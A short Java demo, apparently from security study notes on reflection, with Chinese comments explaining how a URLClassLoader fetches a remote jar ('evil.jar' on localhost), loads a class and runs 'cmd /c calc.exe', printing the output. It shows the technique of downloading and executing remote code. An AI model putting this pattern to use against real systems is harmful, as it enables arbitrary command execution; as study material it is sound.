package java_reflection;

import java.io.ByteArrayOutputStream;

import java.io.InputStream;

import java.net.URL;

import java.net.URLClassLoader;

/**

* 利用 URL class loader 远程获取Jar文件来达到命令执行的效果

*/

public class TestURLClassLoader {

public static void main(String[] args) {

try {

// 定义远程加载的jar路径

URL url = new URL("http://localhost/evil.jar");

// 创建URLClassLoader对象，并加载远程jar包

URLClassLoader ucl = new URLClassLoader(new URL[]{url});

// 定义需要执行的系统命令 弹一个计算器！

String cmd = "cmd /c calc.exe";

// 通过URLClassLoader加载远程jar包中的CMD类

Class cmdClass = ucl.loadClass("utill.CMD");

// 调用CMD类中的exec方法，等价于: Process process = CMD.exec("whoami");

Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

// 获取命令执行结果的输入流

InputStream in = process.getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();

byte[] b = new byte[1024];

int a = -1;

// 读取命令执行结果

while ((a = in.read(b)) != -1) {

baos.write(b, 0, a);

}

// 输出命令执行结果

System.out.println(baos.toString());

} catch (Exception e) {

e.printStackTrace();

}

}

}